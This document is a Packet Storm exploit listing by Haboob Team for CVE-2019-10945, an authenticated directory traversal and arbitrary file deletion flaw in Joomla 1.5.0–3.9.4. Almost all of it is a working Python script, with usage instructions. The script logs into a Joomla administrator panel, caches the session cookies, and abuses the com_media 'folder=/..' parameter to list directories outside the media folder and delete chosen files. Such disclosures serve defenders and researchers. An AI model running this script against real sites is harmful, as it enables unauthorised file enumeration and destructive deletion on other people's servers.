Joomla 3.9.4 Arbitrary File Deletion / Directory Traversal

2019-04-16T00:00:00
ID PACKETSTORM:152515
Type packetstorm
Reporter Haboob Team
Modified 2019-04-16T00:00:00

Description

                                        
                                            `# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion  
# Date: 2019-March-13  
# Exploit Author: Haboob Team  
# Web Site: haboob.sa  
# Email: research@haboob.sa  
# Software Link: https://www.joomla.org/  
# Versions: Joomla 1.5.0 through Joomla 3.9.4  
# CVE : CVE-2019-10945  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945  
#  
# Usage:  
# List files in the specified directory:  
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>  
#  
# Delete file in specified directory  
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list> --rm=<file name>  
  
  
import re  
import tempfile  
import pickle  
import os  
import hashlib  
import urllib  
  
try:  
import click  
except ImportError:  
print("module 'click' doesn't exist, type: pip install click")  
exit(0)  
  
try:  
import requests  
except ImportError:  
print("module 'requests' doesn't exist, type: pip install requests")  
exit(0)  
try:  
import lxml.html  
except ImportError:  
print("module 'lxml' doesn't exist, type: pip install lxml")  
exit(0)  
  
mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."  
  
print '''   
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion  
# Web Site: Haboob.sa  
# Email: research@haboob.sa  
# Versions: Joomla 1.5.0 through Joomla 3.9.4  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945   
_ _ ____ ____ ____ ____   
| | | | /\ | _ \ / __ \ / __ \| _ \   
| |__| | / \ | |_) | | | | | | | |_) |  
| __ | / /\ \ | _ <| | | | | | | _ <   
| | | |/ ____ \| |_) | |__| | |__| | |_) |  
|_| |_/_/ \_\____/ \____/ \____/|____/   
  
'''  
class URL(click.ParamType):  
name = 'url'  
regex = re.compile(  
r'^(?:http)s?://' # http:// or https://  
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...  
r'localhost|' # localhost...  
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip  
r'(?::\d+)?' # optional port  
r'(?:/?|[/?]\S+)$', re.IGNORECASE)  
  
def convert(self, value, param, ctx):  
if not isinstance(value, tuple):  
if re.match(self.regex, value) is None:  
self.fail('invalid URL (%s)' % value, param, ctx)  
return value  
  
  
def getForm(url, query, cookie=''):  
r = requests.get(url, cookies=cookie, timeout=5)  
if r.status_code != 200:  
print("invalid URL: 404 NOT FOUND!!")  
exit(0)  
page = r.text.encode('utf-8')  
html = lxml.html.fromstring(page)  
return html.xpath(query), r.cookies  
  
  
def login(url, username, password):  
csrf, cookie = getForm(url, '//input/@name')  
postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',  
'return': 'aW5kZXgucGhw', csrf[-1]: 1}  
  
res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)  
if res.status_code == 200:  
html = lxml.html.fromstring(res.text)  
msg = html.xpath("//div[@class='alert-message']/text()[1]")  
print msg  
exit()  
else:  
get_cookies(res.cookies.get_dict(), url, username, password)  
  
  
def save_cookies(requests_cookiejar, filename):  
with open(filename, 'wb') as f:  
pickle.dump(requests_cookiejar, f)  
  
  
def load_cookies(filename):  
with open(filename, 'rb') as f:  
return pickle.load(f)  
  
  
def cookies_file_name(url, username, password):  
result = hashlib.md5(str(url) + str(username) + str(password))  
_dir = tempfile.gettempdir()  
return _dir + "/" + result.hexdigest() + ".Jcookie"  
  
  
def get_cookies(req_cookie, url, username, password):  
cookie_file = cookies_file_name(url, username, password)  
if os.path.isfile(cookie_file):  
return load_cookies(cookie_file)  
else:  
save_cookies(req_cookie, cookie_file)  
return req_cookie  
  
  
def traversal(url, username, password, dir=None):  
cookie = get_cookies('', url, username, password)  
url = url + mediaList + dir  
files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)  
for file in files:  
print file  
pass  
  
  
def removeFile(baseurl, username, password, dir='', file=''):  
cookie = get_cookies('', baseurl, username, password)  
url = baseurl + mediaList + dir  
link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)  
if link:  
link = urllib.unquote(link[0].encode("utf8"))  
link = link.split('folder=')[0]  
link = link.replace("folder.delete", "file.delete")  
link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file  
msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)  
if len(msg) == 0:  
print "ERROR : File does not exist"  
else:  
print msg  
else:  
print "ERROR:404 NOT FOUND!!"  
  
  
@click.group(invoke_without_command=True)  
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)  
@click.option('--username', type=str, help="Joomla Manager username", required=True)  
@click.option('--password', type=str, help="Joomla Manager password", required=True)  
@click.option('--dir', type=str, help="listing directory")  
@click.option('--rm', type=str, help="delete file")  
@click.pass_context  
def cli(ctx, url, username, password, dir, rm):  
url = url+"/"  
cookie_file = cookies_file_name(url, username, password)  
if not os.path.isfile(cookie_file):  
login(url, username, password)  
if dir is not None:  
dir = dir.lstrip('/')  
dir = dir.rstrip('/')  
dir = "/" + dir  
if dir == "/" or dir == "../" or dir == "/.":  
dir = ''  
else:  
dir = ''  
print dir  
if rm is not None:  
removeFile(url, username, password, dir, rm)  
else:  
traversal(url, username, password, dir)  
  
  
cli()  
`